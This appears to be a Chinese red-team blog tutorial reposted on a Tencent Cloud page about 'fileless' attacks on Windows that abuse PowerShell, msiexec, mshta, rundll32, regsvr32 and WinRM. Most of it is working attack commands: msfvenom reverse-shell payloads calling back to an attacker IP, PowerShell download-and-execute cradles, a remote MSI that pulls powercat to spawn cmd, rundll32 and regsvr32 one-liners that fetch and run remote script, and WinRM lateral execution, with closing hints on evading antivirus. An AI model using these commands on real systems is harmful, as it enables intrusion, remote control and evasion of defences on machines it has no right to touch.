前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红蓝对抗之无文件落地攻击

红蓝对抗之无文件落地攻击

作者头像
Al1ex
发布2024-06-08 08:35:01
1050
发布2024-06-08 08:35:01
举报
文章被收录于专栏:网络安全攻防网络安全攻防
文章前言

所谓的"无文件落地攻击"是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制,本篇文章将就此进行简要介绍几种目前比较流行的无文件落地攻击手法。

常见技巧
powershell

PowerShell 是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的shell不同,PowerShell 构建在 .NET 公共语言运行时(CLR)的基础之上,接受并返回.NET 对象,这一根本上的改变引入了全新的自动化工具和方法。

PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。

Powershell的强大功能一方面为Windows平台开发人员提供了便捷性,但同时也为安全研究人员打开了一条新的道路,下面我们简单的介绍一下如何通过powershell来实现无文件落地攻击,具体的步骤如下:

Step 1:使用Msfvenom生成一个攻击载荷

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps1

Step 2:在msf中启动监听

代码语言:javascript
复制
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.129
LHOST => 192.168.174.129
set LPORT 4444
set ExitOnSession false
exploit -j -z

Step 3:使用python启动一个简易的Web服务器用于托管shell.exe

代码语言:javascript
复制
python2 -m SimpleHTTPServer 1234

Step 4:之后在目标主机中使用powershell执行以下命令,实现无文件落地攻击

代码语言:javascript
复制
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129:1234/shell.ps1'))"

Step 5:之后再web服务器中收到一条请求记录

Step 6:在MSF端成功收到反弹的shell

msiexec

msiexec.exe属于系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),对系统的正常运行非常重要,一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大,我们亦可以使用其作为无文件落地的媒介,下面举例说明:

Step 1:使用Msfvenom构造一个恶意的msi程序

代码语言:javascript
复制
msfvenom -p windows/exec CMD="powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.174.129 -p 6666 -e cmd" -f msi > evil.msi

Step 2:使用python开启一个简易的web服务器用于托管msi载荷

Step 3:在攻击主机上使用nc监听端口

代码语言:javascript
复制
nc -lvp 6666

Step 4:在目标主机中执行以下命令实现无文件落地执行载荷

代码语言:javascript
复制
msiexec /q /i http://192.168.174.129:1234/evil.msi

Step 5:之后再web端成功接收到请求记录,同时在NC端返回cmd命令交互

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,从而实现无文件落地攻击,下面是具体的步骤:

Step 1:使用msf的exploit/windows/misc/hta_server模块进行测试

Step 2:在目标主机上直接执行以下命令实现无文件落地攻击

代码语言:javascript
复制
mshta.exe http://192.168.174.129:8888/OqD8kxY2Z.hta

Step 3:成功反弹shell回来

rundll32

Rundll32.exe,即"执行32位的DLL文件",它是一个Microsoft二进制文件,其主要功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件",这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介,Rundll32.exe的使用方法如下:

代码语言:javascript
复制
Rundll32.exe DLLname,Functionname Arguments

参数说明:

代码语言:javascript
复制
DLLname:需要执行的DLL文件名
Functionname:需要执行的DLL文件的具体引出函数
Arguments:函数的具体参数

下面我们就Rundll32.exe在无文件落地攻击中的利用方式进行介绍,具体方法如下(至于进程隐藏有兴趣的可以自我查找一番):

Step 1:运行JSRat监听本地5678端口

代码语言:javascript
复制
./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

代码语言:javascript
复制
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.129:5678/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Step 4:成功反弹shell回来

regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,WinXP及以上系统的regsvr32.exe在windows\system32文件夹下,2000系统的regsvr32.exe在winnt\system32文件夹下,我们可以通过该命令来实现无文件落地攻击,和上面类似这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地5678端口:

Step 1:运行JSRat监听本地5678端口

代码语言:javascript
复制
./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

代码语言:javascript
复制
regsvr32.exe /u /n /s /i:http://192.168.174.129:5678/file.sct scrobj.dll

Step 4:成功反弹shell回来

知识拓展

这里介绍一种在内网中常用的无文件落地攻击方法——WinRM无文件落地攻击!!!

WinRM

WinRM是Windows Remote Managementd的缩写,是一种允许管理员远程执行系统管理任务的服务,通信通过http(5985)或https soap(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证,在内网渗透中不仅可以用于横向移动,也可以用于无文件落地攻击提升自我的隐匿性。

测试环境
  • 域内主机:Windows Server 2012(192.168.174.2)
  • 域内主机:Windows Server 2008 R2(192.168.174.4)
  • 攻击主机:Kali Linux(192.168.174.129,这里省去了内网穿透)
实验目的

在Kali主机中通过MSF框架创建后门文件,之后将其传送到我们已经控制的域内主机(windows server 2008 R2)中,之后在另一域内主机Windows Server 2012中通过WinRM实施无文件攻击,最终返回一个新的具备较高隐藏度的Windows Sever 2012的shell给我们的攻击主机,以供对内网进行深入拓展和利用

攻击步骤

Step 1:在攻击主机中通过msfvenom创建后门文件

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f exe >shell.exe

Step 2:启动MSF框架并设置监听

Step 3:将shell.exe文件传送到Windows Server 2008 R2的c盘

Step 4:开启Windows Server 2012中的WinRM

代码语言:javascript
复制
winrm quickconfig

Step 5:之后在Windows Server 2012中尝试通过IPC$链接Windows Server 2008 R2

代码语言:javascript
复制
net use \\192.168.174.4\ipc$ "test@1233" /user:testuser

Step 6:之后开启Windows Server 2008 R2中的文件共享权限

Step 7:在Windows Server 2012中执行以下命令来实现无文件落地攻击

代码语言:javascript
复制
winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.174.4\c\shell.exe"}

Step 8:成功反弹shell到MSF中

文末小结

无文件落地攻击的方法与技巧多种多样,自然不局限与上面的几种,当然有时候如果要真的提高自身的隐匿程度以及实现免杀等技术时可以结合白名单以及一些Windows系统应用文件的特性,例如通过Windows Defender自带的命令执行工具"MpCmdRun.exe"来实现远程下载恶意文件并执行达到CS上线的目的,更多的方法与技巧尽在探索中......

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 常见技巧
    • powershell
      • msiexec
        • mshta
          • rundll32
            • regsvr32
            • 知识拓展
              • WinRM
                • 测试环境
                  • 实验目的
                    • 攻击步骤
                    • 文末小结
                    相关产品与服务
                    多因子身份认证
                    多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档